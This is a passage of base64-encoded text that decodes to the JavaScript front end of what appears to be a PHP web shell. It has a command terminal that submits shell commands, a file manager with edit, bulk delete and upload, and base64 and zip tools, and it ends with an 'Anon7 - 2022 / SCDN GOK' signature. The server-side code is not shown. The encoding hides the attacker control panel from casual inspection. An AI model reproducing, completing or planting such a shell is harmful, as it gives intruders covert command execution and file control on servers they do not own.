c3BsYXkgPSAnZmxleCc7DQogICAgICAgIC8vIFJlc2V0IHppcCBtb2RhbCB0byBmaXJzdCB0YWINCiAgICAgICAgaWYgKG1vZGFsSWQgPT09ICd6aXBNb2RhbCcpIHsNCiAgICAgICAgICAgIHNob3daaXBUYWIoJ3ppcCcpOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIGZ1bmN0aW9uIGhpZGVNb2RhbCgpIHsNCiAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLm1vZGFsJykuZm9yRWFjaChtb2RhbCA9PiB7DQogICAgICAgICAgICBtb2RhbC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICB9KTsNCiAgICB9DQogICAgDQogICAgLy8gQ2xvc2UgbW9kYWwgb24gYmFja2dyb3VuZCBjbGljaw0KICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZnVuY3Rpb24oZSkgew0KICAgICAgICBpZiAoZS50YXJnZXQuY2xhc3NMaXN0LmNvbnRhaW5zKCdtb2RhbCcpKSB7DQogICAgICAgICAgICBoaWRlTW9kYWwoKTsNCiAgICAgICAgfQ0KICAgIH0pOw0KICAgIA0KICAgIC8vIEVzY2FwZSBrZXkgdG8gY2xvc2UgbW9kYWwNCiAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZSkgew0KICAgICAgICBpZiAoZS5rZXkgPT09ICdFc2NhcGUnKSBoaWRlTW9kYWwoKTsNCiAgICB9KTsNCiAgICANCiAgICAvLyBUZXJtaW5hbCBGdW5jdGlvbnMNCiAgICBmdW5jdGlvbiBjbGVhclRlcm1pbmFsKCkgew0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGVybWluYWxPdXRwdXQnKS5pbm5lckhUTUwgPSAnPGRpdiBjbGFzcz0icHJvbXB0Ij4kPC9kaXY+JzsNCiAgICB9DQogICAgDQogICAgZnVuY3Rpb24gZXhlY3V0ZVF1aWNrKGNvbW1hbmQpIHsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbW1hbmRJbnB1dCcpLnZhbHVlID0gY29tbWFuZDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Rlcm1pbmFsRm9ybScpLnN1Ym1pdCgpOw0KICAgIH0NCiAgICANCiAgICAvLyBGaWxlIEZ1bmN0aW9ucw0KICAgIGZ1bmN0aW9uIHNlbGVjdEFsbCgpIHsNCiAgICAgICAgY29uc3QgY2hlY2tib3hlcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5pdGVtLWNoZWNrYm94Jyk7DQogICAgICAgIGNvbnN0IHNlbGVjdEFsbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWxlY3RBbGwnKTsNCiAgICAgICAgY29uc3QgY2hlY2tlZCA9IHNlbGVjdEFsbC5jaGVja2VkOw0KICAgICAgICBjaGVja2JveGVzLmZvckVhY2goY2IgPT4gY2IuY2hlY2tlZCA9IGNoZWNrZWQpOw0KICAgIH0NCiAgICANCiAgICBmdW5jdGlvbiBidWxrRGVsZXRlKCkgew0KICAgICAgICBjb25zdCBjaGVja2JveGVzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLml0ZW0tY2hlY2tib3g6Y2hlY2tlZCcpOw0KICAgICAgICBpZiAoY2hlY2tib3hlcy5sZW5ndGggPT09IDApIHsNCiAgICAgICAgICAgIGFsZXJ0KCdQbGVhc2Ugc2VsZWN0IGl0ZW1zIGZpcnN0Jyk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIGlmIChjb25maXJtKCdEZWxldGUgJyArIGNoZWNrYm94ZXMubGVuZ3RoICsgJyBzZWxlY3RlZCBpdGVtcz8nKSkgew0KICAgICAgICAgICAgY29uc3QgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidWxrRm9ybScpOw0KICAgICAgICAgICAgY29uc3QgaXRlbXNEaXYgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnVsa0l0ZW1zJyk7DQogICAgICAgICAgICBpdGVtc0Rpdi5pbm5lckhUTUwgPSAnJzsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgY2hlY2tib3hlcy5mb3JFYWNoKGNiID0+IHsNCiAgICAgICAgICAgICAgICBjb25zdCBpbnB1dCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2lucHV0Jyk7DQogICAgICAgICAgICAgICAgaW5wdXQudHlwZSA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgICAgIGlucHV0Lm5hbWUgPSAnaXRlbXNbXSc7DQogICAgICAgICAgICAgICAgaW5wdXQudmFsdWUgPSBjYi52YWx1ZTsNCiAgICAgICAgICAgICAgICBpdGVtc0Rpdi5hcHBlbmRDaGlsZChpbnB1dCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J1bGtBY3Rpb24nKS52YWx1ZSA9ICdkZWxldGUnOw0KICAgICAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICBmdW5jdGlvbiBlZGl0RmlsZShmaWxlbmFtZSkgew0KICAgICAgICAvLyBGZXRjaCBmaWxlIGNvbnRlbnQgdmlhIEFKQVgNCiAgICAgICAgZmV0Y2goJz9hY3Rpb249Z2V0X2ZpbGVfY29udGVudCZmaWxlPScgKyBlbmNvZGVVUklDb21wb25lbnQoZmlsZW5hbWUpICsgJyZkaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoJGN1cnJlbnREaXIpOyA/PicpDQogICAgICAgICAgICAudGhlbihyZXNwb25zZSA9PiByZXNwb25zZS5qc29uKCkpDQogICAgICAgICAgICAudGhlbihkYXRhID0+IHsNCiAgICAgICAgICAgICAgICBpZiAoZGF0YS5zdWNjZXNzKSB7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0RmlsZU5hbWUnKS52YWx1ZSA9IGZpbGVuYW1lOw0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdEZpbGVDb250ZW50JykudmFsdWUgPSBkYXRhLmNvbnRlbnQ7DQogICAgICAgICAgICAgICAgICAgIHNob3dNb2RhbCgnZWRpdG9yTW9kYWwnKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBhbGVydCgnRmFpbGVkIHRvIGxvYWQgZmlsZScpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0pDQogICAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICAgICAgICAgICAgICBhbGVydCgnRXJyb3IgbG9hZGluZyBmaWxlJyk7DQogICAgICAgICAgICB9KTsNCiAgICB9DQogICAgDQogICAgLy8gVGhlbWUgVG9nZ2xlDQogICAgZnVuY3Rpb24gdG9nZ2xlVGhlbWUoKSB7DQogICAgICAgIGNvbnN0IGN1cnJlbnQgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZ2V0QXR0cmlidXRlKCdkYXRhLXRoZW1lJyk7DQogICAgICAgIGNvbnN0IG5ld1RoZW1lID0gY3VycmVudCA9PT0gJ2RhcmsnID8gJ2xpZ2h0JyA6ICdkYXJrJzsNCiAgICAgICAgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNldEF0dHJpYnV0ZSgnZGF0YS10aGVtZScsIG5ld1RoZW1lKTsNCiAgICAgICAgd2luZG93LmxvY2F0aW9uLmhyZWYgPSAnP3RoZW1lPScgKyBuZXdUaGVtZSArICcmZGlyPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50RGlyKTsgPz4nOw0KICAgIH0NCiAgICANCiAgICAvLyBDb21tYW5kIEhpc3RvcnkNCiAgICBmdW5jdGlvbiB1c2VDb21tYW5kKGNvbW1hbmQpIHsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NvbW1hbmRJbnB1dCcpLnZhbHVlID0gY29tbWFuZDsNCiAgICAgICAgaGlkZU1vZGFsKCk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb21tYW5kSW5wdXQnKS5mb2N1cygpOw0KICAgIH0NCiAgICANCiAgICAvLyBUb2dnbGUgY3JlYXRlIGZvcm0gY29udGVudCBmaWVsZA0KICAgIGZ1bmN0aW9uIHRvZ2dsZUNyZWF0ZVR5cGUoKSB7DQogICAgICAgIGNvbnN0IHR5cGUgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdzZWxlY3RbbmFtZT0idHlwZSJdJykudmFsdWU7DQogICAgICAgIGNvbnN0IGNvbnRlbnRHcm91cCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdmaWxlQ29udGVudEdyb3VwJyk7DQogICAgICAgIGlmICh0eXBlID09PSAnZm9sZGVyJykgew0KICAgICAgICAgICAgY29udGVudEdyb3VwLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBjb250ZW50R3JvdXAuc3R5bGUuZGlzcGxheSA9ICdibG9jayc7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gQmFzZTY0IFByZXZpZXcNCiAgICBmdW5jdGlvbiBwcmV2aWV3QmFzZTY0KCkgew0KICAgICAgICBjb25zdCBiYXNlNjRJbnB1dCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ3RleHRhcmVhW25hbWU9ImJhc2U2NF9kYXRhIl0nKTsNCiAgICAgICAgY29uc3QgcHJldmlldyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYXNlNjRQcmV2aWV3Jyk7DQogICAgICAgIA0KICAgICAgICBpZiAoYmFzZTY0SW5wdXQudmFsdWUpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgLy8gVHJ5IHRvIHBhcnNlIGFzIGRhdGEgVVJJDQogICAgICAgICAgICAgICAgaWYgKGJhc2U2NElucHV0LnZhbHVlLnN0YXJ0c1dpdGgoJ2RhdGE6JykpIHsNCiAgICAgICAgICAgICAgICAgICAgcHJldmlldy5pbm5lckhUTUwgPSAnPGltZyBzcmM9IicgKyBiYXNlNjRJbnB1dC52YWx1ZSArICciIHN0eWxlPSJtYXgtd2lkdGg6IDEwMCU7IG1heC1oZWlnaHQ6IDIwMHB4OyI+JzsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAvLyBBc3N1bWUgaXQncyByYXcgYmFzZTY0DQogICAgICAgICAgICAgICAgICAgIHByZXZpZXcuaW5uZXJIVE1MID0gJzxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LWluZm8iPkJhc2U2NCBkYXRhIGxvYWRlZCAoJyArIGJhc2U2NElucHV0LnZhbHVlLmxlbmd0aCArICcgY2hhcnMpPC9kaXY+JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICAgICAgcHJldmlldy5pbm5lckhUTUwgPSAnPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZXJyb3IiPkludmFsaWQgYmFzZTY0IGRhdGE8L2Rpdj4nOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIERyYWcgYW5kIERyb3AgVXBsb2FkDQogICAgY29uc3QgdXBsb2FkRm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRGb3JtJyk7DQogICAgaWYgKHVwbG9hZEZvcm0pIHsNCiAgICAgICAgdXBsb2FkRm9ybS5hZGRFdmVudExpc3RlbmVyKCdkcmFnb3ZlcicsIChlKSA9PiB7DQogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICB1cGxvYWRGb3JtLnN0eWxlLmJvcmRlciA9ICcycHggZGFzaGVkIHZhcigtLWFjY2VudCknOw0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIHVwbG9hZEZvcm0uYWRkRXZlbnRMaXN0ZW5lcignZHJhZ2xlYXZlJywgKCkgPT4gew0KICAgICAgICAgICAgdXBsb2FkRm9ybS5zdHlsZS5ib3JkZXIgPSAnMXB4IHNvbGlkIHZhcigtLWJvcmRlciknOw0KICAgICAgICB9KTsNCiAgICAgICAgDQogICAgICAgIHVwbG9hZEZvcm0uYWRkRXZlbnRMaXN0ZW5lcignZHJvcCcsIChlKSA9PiB7DQogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBjb25zdCBmaWxlcyA9IGUuZGF0YVRyYW5zZmVyLmZpbGVzOw0KICAgICAgICAgICAgLy8gSGFuZGxlIGZpbGUgZHJvcA0KICAgICAgICB9KTsNCiAgICB9DQogICAgDQogICAgLy8gS2V5Ym9hcmQgU2hvcnRjdXRzDQogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGUpIHsNCiAgICAgICAgLy8gQ3RybCtLIGZvciB0ZXJtaW5hbA0KICAgICAgICBpZiAoZS5jdHJsS2V5ICYmIGUua2V5ID09PSAnaycpIHsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb21tYW5kSW5wdXQnKT8uZm9jdXMoKTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBDdHJsK0wgZm9yIGNsZWFyDQogICAgICAgIGlmIChlLmN0cmxLZXkgJiYgZS5rZXkgPT09ICdsJykgew0KICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgY2xlYXJUZXJtaW5hbCgpOw0KICAgICAgICB9DQogICAgICAgIC8vIEN0cmwrVSBmb3IgdXBsb2FkDQogICAgICAgIGlmIChlLmN0cmxLZXkgJiYgZS5rZXkgPT09ICd1Jykgew0KICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgc2hvd01vZGFsKCd1cGxvYWRNb2RhbCcpOw0KICAgICAgICB9DQogICAgICAgIC8vIEN0cmwrTiBmb3IgbmV3DQogICAgICAgIGlmIChlLmN0cmxLZXkgJiYgZS5rZXkgPT09ICduJykgew0KICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgc2hvd01vZGFsKCdjcmVhdGVNb2RhbCcpOw0KICAgICAgICB9DQogICAgICAgIC8vIEN0cmwrQiBmb3IgYmFzZTY0DQogICAgICAgIGlmIChlLmN0cmxLZXkgJiYgZS5rZXkgPT09ICdiJykgew0KICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgc2hvd01vZGFsKCdiYXNlNjRNb2RhbCcpOw0KICAgICAgICB9DQogICAgICAgIC8vIEN0cmwrWiBmb3IgemlwIHRvb2xzDQogICAgICAgIGlmIChlLmN0cmxLZXkgJiYgZS5rZXkgPT09ICd6Jykgew0KICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICAgICAgc2hvd01vZGFsKCd6aXBNb2RhbCcpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgDQogICAgLy8gQXV0by1zY3JvbGwgdGVybWluYWwNCiAgICBjb25zdCB0ZXJtaW5hbE91dHB1dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0ZXJtaW5hbE91dHB1dCcpOw0KICAgIGlmICh0ZXJtaW5hbE91dHB1dCkgew0KICAgICAgICB0ZXJtaW5hbE91dHB1dC5zY3JvbGxUb3AgPSB0ZXJtaW5hbE91dHB1dC5zY3JvbGxIZWlnaHQ7DQogICAgfQ0KICAgIA0KICAgIC8vIEluaXRpYWxpemUNCiAgICBkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdET01Db250ZW50TG9hZGVkJywgZnVuY3Rpb24oKSB7DQogICAgICAgIC8vIFNldCBhY3RpdmUgdGFiIGJhc2VkIG9uIGN1cnJlbnQgdmlldw0KICAgICAgICBpZiAod2luZG93LmxvY2F0aW9uLmhhc2gpIHsNCiAgICAgICAgICAgIGNvbnN0IHRhYk5hbWUgPSB3aW5kb3cubG9jYXRpb24uaGFzaC5zdWJzdHJpbmcoMSk7DQogICAgICAgICAgICBzaG93VGFiKHRhYk5hbWUpOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAvLyBGb2N1cyBjb21tYW5kIGlucHV0IGlmIG9uIHRlcm1pbmFsIHRhYg0KICAgICAgICBpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Rlcm1pbmFsVGFiJykuc3R5bGUuZGlzcGxheSAhPT0gJ25vbmUnKSB7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY29tbWFuZElucHV0Jyk/LmZvY3VzKCk7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC8vIEluaXRpYWxpemUgc2VsZWN0IGFsbCBjaGVja2JveA0KICAgICAgICBjb25zdCBzZWxlY3RBbGxDaGVja2JveCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWxlY3RBbGwnKTsNCiAgICAgICAgaWYgKHNlbGVjdEFsbENoZWNrYm94KSB7DQogICAgICAgICAgICBzZWxlY3RBbGxDaGVja2JveC5hZGRFdmVudExpc3RlbmVyKCdjaGFuZ2UnLCBzZWxlY3RBbGwpOw0KICAgICAgICB9DQogICAgfSk7DQogICAgPC9zY3JpcHQ+DQo8L2JvZHk+DQo8L2h0bWw+
</embed>

Anon7 - 2022
SCDN GOK